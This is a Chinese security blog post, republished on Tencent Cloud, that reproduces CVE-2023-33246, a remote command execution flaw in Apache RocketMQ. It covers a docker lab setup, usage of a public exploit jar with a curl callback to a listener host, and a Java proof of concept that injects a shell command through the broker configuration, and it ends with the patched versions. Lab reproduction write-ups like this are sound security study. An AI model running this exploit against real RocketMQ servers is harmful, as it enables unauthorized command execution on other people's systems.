前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2023-33246:Apache RocketMQ远程代码执行漏洞

CVE-2023-33246:Apache RocketMQ远程代码执行漏洞

作者头像
Timeline Sec
发布2023-08-22 08:53:05
9270
发布2023-08-22 08:53:05
举报
文章被收录于专栏:Timeline SecTimeline Sec

关注我们❤️,添加星标🌟,一起学安全! 作者:Locks_@Timeline Sec 本文字数:2940 阅读时长:2~4min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。

0x02 漏洞概述

漏洞编号:CVE-2023-33246

Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

0x03 影响版本

Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5

0x04 环境搭建

docker搭建环境

代码语言:javascript
复制
docker pull apache/rocketmq:4.9.1  
docker pull apacherocketmq/rocketmq-console:2.0.0

启动namesrv

代码语言:javascript
复制
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

创建目录

代码语言:javascript
复制
mkdir -p /mydata/rocketmq/conf/

在宿主机创建broker配置文件, 启动broker服务需要,我这里的路径为: /mydata/rocketmq/conf/broker.conf文件内容(vim /mydata/rocketmq/conf/broker.conf)

代码语言:javascript
复制
brokerClusterName = DefaultCluster   
brokerName = broker-a   
brokerId = 0   
deleteWhen = 04   
fileReservedTime = 48   
brokerRole = ASYNC_MASTER   
flushDiskType = SYNC_FLUSH   
brokerIP1 = 192.168.88.104

注:172.16.0.70为我的宿主机IP 启动docker

代码语言:javascript
复制
docker run -d -p 10911:10911 -p 10909:10909 -v  /data/broker/logs:/root/logs -v  /data/broker/store:/root/store -v  /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

启动console

代码语言:javascript
复制
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\  
 -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\  
 -Dcom.rocketmq.sendMessageWithVIPChannel=false"\  
 -t apacherocketmq/rocketmq-console:2.0.0

最后访问8899得到如下

代码语言:javascript
复制
http://172.16.0.70:8899/#/

0x05 漏洞复现

代码语言:javascript
复制
靶机:centos7 docker搭建  172.16.0.70
攻击:win11    脚本攻击    172.16.0.61
接收:kali     curl       172.16.0.68

GitHub中的工具

代码语言:javascript
复制
https://github.com/SuperZero/CVE-2023-33246/tree/main

命令语句模板

代码语言:javascript
复制
java -jar CVE-2023-33246.jar -ip "被攻击host" -cmd "执行的命令"

使用kali自带的http服务验证命令是否执行成功

代码语言:javascript
复制
java -jar .\CVE-2023-33246.jar -ip "172.16.0.70" -cmd "curl http://172.16.0.68:8000"

成功访问到kali的http服务

0x06 漏洞分析

漏洞成因: 1.提供无加密与鉴权的不安全服务; 2.对于用户输入的检查与过滤不足。

通过修改RocketMQ的配置文件来实现攻击。它创建一个DefaultMQAdminExt对象,并设置namesrv地址。

然后,它通过设置rocketmqHome属性来修改配置文件中的rocketmqHome配置,并将操作系统命令拼接到配置参数中。

最后,它使用admin.updateBrokerConfig方法向特定的broker地址发送修改后的配置数据,从而实现对该broker的攻击。

代码语言:javascript
复制
import java.util.Properties;  
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;  
  
public static void main(String[] args) {  
       // 创建 Properties 对象  
       Properties props = new Properties();  
       //修改rocketmqHome配置  
       props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");  
       props.setProperty("filterServerNums","1");  
       // 创建 DefaultMQAdminExt 对象并启动  
       DefaultMQAdminExt admin = new DefaultMQAdminExt();  
       //此处为 namesrv 端口,此端口无需可访问  
       admin.setNamesrvAddr("localhost:9876");  
       admin.start();  
       // 更新配置⽂件  
       //此处为 broker 端口,必须可访问  
       admin.updateBrokerConfig("127.0.0.1:10911", props);  
       // 关闭 DefaultMQAdminExt 对象  
       admin.shutdown();  
}

0x07 修复方式

目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6

下载链接:

代码语言:javascript
复制
https://rocketmq.apache.org/download/

参考链接

https://mp.weixin.qq.com/s/tSu-rVpmdDgMLGF_g_1_5Q

历史漏洞

暂无

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-06-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 漏洞分析
  • 0x07 修复方式
  • 参考链接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档